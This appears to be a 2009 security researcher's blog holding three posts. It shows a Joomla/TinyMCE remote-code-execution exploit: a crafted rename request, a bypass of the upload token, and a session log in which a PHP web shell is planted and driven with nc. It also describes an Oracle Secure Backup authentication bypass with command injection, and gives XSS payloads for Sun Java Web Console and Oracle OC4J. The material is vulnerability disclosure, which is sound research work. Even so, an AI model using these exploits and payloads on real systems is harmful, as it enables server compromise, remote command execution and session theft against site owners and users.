Just press Exploit!

Surfing the web I came across this Core Impact update, and I told myself that I wanted a Joomla-RCE-exploit-copy, too! So, as detailed here, an arbitrary file uploading vulnerability affects TinyMCE 1.41.6. As stated in the advisory, the word arbitrary refers to files whose extensions are not listed in $tinybrowser['prohibited'] array in config_tinybrowser.php :

// Prohibited file extensions
$tinybrowser['prohibited'] = array('php','php3','php4','php5','phtml','asp','aspx','ascx',
'jsp', 'cfm','cfc','pl','bat','exe','dll','reg','cgi','sh',
'py','asa','asax','config','com','inc');


This means that we can't directly upload a dot-php script on the remote host. However, I noticed a delicious "rename" option that only permits to rename files preserving their original extension. Thanks to my trusty Burp Proxy I sniffed some HTTP requests during file renaming and here you are an example. Let's have a look :


POST /joomla/.../edit.php?type=image&folder=aaa%2F HTTP/1.1
Host: 192.168.1.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 132

actionfile%5B0%5D=AAA.png&renameext%5B0%5D=png&
renamefile%5B0%5D=BBB.&action=rename



Ok, you are likely able to spot the problem. Attacker can manipulate the renameext[0] parameter resulting in an arbitrary file renaming. Just rename your AAA.png in AAA.php and get remote access! The next step was to automatically upload files via upload_file.php. The problem here is that the script implements a very rudimental mechanism to prevent direct file uploading. In upload_file.php, we can find this piece of code :


// Check hash is correct (workaround for
// Flash session bug, to stop external form posting)

if($_GET['obfuscate'] !=
md5($_SERVER['DOCUMENT_ROOT'].$tinybrowser['obfuscate'])) {
echo 'Error!'; exit;
}


The amazing token is built hashing the web root path name and the $tinybrowser['obfuscate'] variable's value (set to s0merand0mjunk!!!111 in config_tinybrowser.php). I used this additional vulnerability to get the path name. Obviously, should error messages be switched off, you would use the flash form to upload your images! Ok, that's all, here is the exploit and here is an exploitation session :


daath@shaytan:~$ php pwnoomla.php localhost /joomla

[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]

[#] Attacking localhost:80/joomla/
[+] Web root pathname is : /var/www/
[+] Magic token is a8de65e217ed779dbda80eb04502a2da
[#] Creating remote directory ... DONE
[#] Uploading image ... DONE
[#] Renaming image's extension (takes a while) ... PWNED!
[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php

daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0\n\n" | nc localhost 80
HTTP/1.1 200 OK
Date: Mon, 28 Sep 2009 10:39:43 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php
daath@shaytan:~$


Have phun,
/daath

One-Day Knowledge

In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities (ZDI-09-058, ZDI-09-059) in Oracle Backup Admin server. I’ve seen several installations of this product, mainly used in corporations. Since I was quite interested in such flaws, I did a bit of research and I’ve published an exploit (osb10.3_poc.sh). This PoC exploits two separate vulnerabilities: a smart authentication bypass and a trivial command injection, resulting in arbitrary command execution.

You may find interesting how the bypass works. It is a neat piece of hacking, in my humble opinion.
To have a successful login, both following functions should return "true" (login.php, #75)

if (validate_login($username,$passwd) && authenticate()){
[…]
}
The first one (common.php, #262) verifies username/password size and format.
As you can see, it accepts a username containing a-zA-Z0-9._- chars only.

function validate_login($username, $password)
{
global $status_msg;

if (strlen($username) > 128 || preg_match("/[^a-zA-Z0-9._-]/", trim($username)))
{
$status_msg[] = "Error: login failed";
return false;
}
if (strlen($password) > 16)
{
$status_msg[] = "Error: login failed";
return false;
}
return true;
}
On the other hand, the second function executes a command line tool and checks for error messages. Since Oracle Backup server command line tools require authentication in order to be successfully executed, the developers decided to use this application behavior in order to check whether the user has got a valid session. No comment, please!

// Check for a failed login.
if (strstr($msg[0], " login incorrect") ||
strstr($msg[0], "obtool:") ||
strstr($msg[0], "Obtool:") ||
strstr($msg[0], "Error:") ||
strstr($msg[0], "sh:"))
[…]
And here a question: “Can we tamper a valid username, according to the specified format, in order to properly execute the binary without triggering errors?” Sure, we do. Check the exploit and find the answer!

XSS flaws are boring!

Cross-Site Scripting flaws are quite unexciting from the technical point of view. Don't you think?

Most of the time, it is not challenging to look for XSS vulnerabilities since lot of applications do not provide input validation at all against this specific attack. In addition, the application entry points are so copious that it is like to shoot in a crowded square (well, never tried).

However, they still exist and we still have to report them.
We will probably all agree about the dangerous effects of such client side attack. We have seen several real life threats (e.g. CriticalPath Vulnerability, Twitter Worm Attack, StrongWebmail) as well as we know efficient (sufficient?) protection mechanisms (e.g. NoScript, OWASP ESAPI, Secure Coding).

Having said that, I would like to point out a couple of trivial security flaws I have discovered in the last months: (A) Sun Java Web Console Multiple Cross Site Scripting and yet another (B) Oracle Application Server 10g (v9.x) Cross Site Scripting.

(A) Just because I believe in full disclosure, let's specify the unspecified input (as reported by the vendor). Due to the lack of input filtering within the "HELP" resources, it is possible to inject JS code and trigger XSS attacks. During my audit, several attack vectors were found:

/console/faces/com_sun_web_ui/help/helpwindow.jsp
Parameters: windowTitle, helpFile, pageTitle, mastheadUrl, mastheadDescription, jspPath

/console/faces/com_sun_web_ui/help/masthead.jsp
Parameters: mastheadUrl, pageTitle

PoC example: https://IP:PORT/console/faces/com_sun_web_ui/help/helpwindow.jsp?&windowTitle=&helpFile=%22%3E%3C/FRAMESET%3E%3CFRAME%20SRC=%22javascript:alert(%27XSS%27);%22%3E%3C!--


(B) In case of OC4J, the problem is triggered with malformed requests containing invalid HTTP methods.

G<script>alert(123);</script>ET /servlet/ HTTP/1.1
Host: 127.0.0.1:5500


501 Not Implemented
Method G<script>alert(123);</script>ET is not defined in RFC 2068 and is not supported by the Servlet API
Versions 10.1.3.4.0 and likely all the 10.x releases are not vulnerable.
Oracle support for the J2EE application container 9.x ended in December 2008, according to the Oracle's Lifetime Support Policy. However, they still provide this insecure software here. From my experience, I've seen several installations of such outdated and unsupported software within corporations. As you can easily imagine, it means no patch...sad indeed.